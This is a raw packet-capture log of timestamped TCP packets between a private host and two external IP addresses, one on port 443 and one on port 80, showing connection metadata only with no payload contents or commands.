Dec 19, 2024 08:40:32.270920038 CET	443	49710	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:33.063226938 CET	443	49710	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:33.063327074 CET	443	49710	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:33.063405991 CET	49710	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:33.063640118 CET	49710	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:33.063661098 CET	443	49710	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:33.516417980 CET	49716	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:33.516474962 CET	443	49716	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:33.516602993 CET	49716	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:33.516941071 CET	49716	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:33.516953945 CET	443	49716	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:34.726907015 CET	443	49716	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:34.727015972 CET	49716	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:34.728267908 CET	49716	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:34.728280067 CET	443	49716	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:34.728527069 CET	443	49716	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:34.733197927 CET	49716	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:34.734005928 CET	49716	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:34.734042883 CET	443	49716	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:34.734142065 CET	49716	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:34.734175920 CET	443	49716	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:34.734297991 CET	49716	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:34.734347105 CET	443	49716	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:34.734469891 CET	49716	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:34.734518051 CET	443	49716	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:34.735057116 CET	49716	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:34.735099077 CET	443	49716	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:34.735241890 CET	49716	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:34.735275030 CET	443	49716	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:34.735282898 CET	49716	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:34.735296965 CET	443	49716	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:34.735435963 CET	49716	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:34.735469103 CET	443	49716	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:34.735498905 CET	49716	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:34.735604048 CET	49716	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:34.735646963 CET	49716	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:34.779337883 CET	443	49716	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:34.779547930 CET	49716	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:34.779583931 CET	443	49716	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:34.779628992 CET	49716	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:34.779655933 CET	443	49716	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:34.779696941 CET	49716	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:34.779706955 CET	443	49716	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:37.110855103 CET	443	49716	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:37.110939026 CET	443	49716	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:37.111149073 CET	49716	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:37.111258030 CET	49716	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:37.111303091 CET	443	49716	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:37.159427881 CET	49725	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:37.159471989 CET	443	49725	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:37.159559011 CET	49725	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:37.159867048 CET	49725	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:37.159883022 CET	443	49725	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:38.373225927 CET	443	49725	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:38.373296022 CET	49725	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:38.374603033 CET	49725	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:38.374609947 CET	443	49725	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:38.374810934 CET	443	49725	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:38.383656979 CET	49725	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:38.383656979 CET	49725	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:38.383723974 CET	443	49725	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:39.197112083 CET	443	49725	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:39.197200060 CET	443	49725	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:39.197338104 CET	49725	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:39.197469950 CET	49725	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:39.197489977 CET	443	49725	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:39.197504044 CET	49725	443	192.168.2.7	104.21.64.80
Dec 19, 2024 08:40:39.197510004 CET	443	49725	104.21.64.80	192.168.2.7
Dec 19, 2024 08:40:39.201147079 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:39.320683956 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:39.321166039 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:39.321434975 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:39.440916061 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:40.653368950 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:40.653569937 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:40.653583050 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:40.653641939 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:40.654217958 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:40.654273987 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:40.654576063 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:40.654599905 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:40.654670000 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:40.655364990 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:40.655378103 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:40.655389071 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:40.655428886 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:40.656091928 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:40.656131983 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:40.774238110 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:40.774519920 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:40.774595022 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:40.846471071 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:40.846487045 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:40.846599102 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:40.850430012 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:40.850441933 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:40.850516081 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:40.859360933 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:40.859375954 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:40.859441042 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:40.867358923 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:40.867369890 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:40.867419958 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:40.875403881 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:40.875415087 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:40.875458956 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:40.885042906 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:40.885055065 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:40.885096073 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:40.892462969 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:40.892476082 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:40.892517090 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:40.900424004 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:40.900434971 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:40.900475025 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:40.908885002 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:40.909039974 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:40.909269094 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:40.917404890 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:40.917417049 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:40.917464018 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:40.925929070 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:40.925940037 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:40.925987959 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:40.969084024 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.010885954 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.038168907 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.038182020 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.038295031 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.040425062 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.041043997 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.041104078 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.047403097 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.047416925 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.047507048 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.050434113 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.051378012 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.051440001 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.055354118 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.055550098 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.055610895 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.060426950 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.063405037 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.063528061 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.067373037 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.067384958 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.067440033 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.070463896 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.070476055 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.070518970 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.075009108 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.075018883 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.075072050 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.079711914 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.080414057 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.080461025 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.085052967 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.085067987 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.085129976 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.089485884 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.091095924 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.091166019 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.095443010 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.095458984 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.095523119 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.099486113 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.099502087 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.099569082 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.105494976 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.105506897 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.105561972 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.111038923 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.111049891 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.111107111 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.115376949 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.115391016 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.115434885 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.119390965 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.119404078 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.119448900 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.123272896 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.123289108 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.123364925 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.230082989 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.230199099 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.230278015 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.232461929 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.232477903 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.232542038 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.236624956 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.236887932 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.236943960 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.240936041 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.241322994 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.241367102 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.244440079 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.244637012 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.244679928 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.248228073 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.248240948 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.248290062 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.251810074 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.251822948 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.251876116 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.255053997 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.255220890 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.255258083 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.258615971 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.259361982 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.259423971 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.263381004 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.263392925 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.263458967 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.266239882 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.266252995 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.266314030 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.269566059 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.269578934 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.269634008 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.273041964 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.273052931 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.273111105 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.277053118 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.277062893 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.277105093 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.280428886 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.280440092 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.280508041 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.283361912 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.283606052 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.283648014 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.286993980 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.287380934 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.287426949 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.290497065 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.291357040 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.291402102 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.295361996 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.295372009 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.295419931 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.297683001 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.297770023 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.297904015 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.301831961 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.301841974 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.301887989 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.304847956 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.304857969 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.304907084 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.308317900 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.308437109 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.308476925 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.313676119 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.313688040 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.313747883 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.315385103 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.315465927 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.315502882 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.319042921 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.319053888 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.319112062 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.422147036 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.422430038 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.422523022 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.423644066 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.423974991 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.424026966 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.426775932 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.426788092 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.426846981 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.429583073 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.429797888 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.429831982 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.432625055 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.432792902 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.432832003 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.435442924 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.435650110 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.435693026 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.438361883 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.438498020 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.438539982 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.441093922 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.441297054 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.441343069 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.443788052 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.444128990 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.444169998 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.446595907 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.446660042 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.446696043 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.449132919 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.449347019 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.449381113 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.451755047 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.451965094 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.452013016 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.454551935 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.454869986 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.454919100 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.458096981 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.458108902 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.458158016 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.460983992 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.460997105 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.461049080 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.464267015 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.464281082 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.464328051 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.467375994 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.467389107 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.467446089 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.469434977 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.470191002 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.470232010 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.473380089 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.474307060 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.474343061 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.476146936 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.476552963 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.476600885 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.476955891 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.476967096 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.476999998 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.478559971 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.478774071 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.478807926 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.480973959 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.481059074 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.481095076 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.483732939 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.483745098 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.483783007 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.486196995 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.486262083 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.486303091 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.488738060 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.488909006 CET	80	49732	185.215.113.16	192.168.2.7
Dec 19, 2024 08:40:41.488955021 CET	49732	80	192.168.2.7	185.215.113.16
Dec 19, 2024 08:40:41.491305113 CET	80	49732	185.215.113.16	192.168.2.7
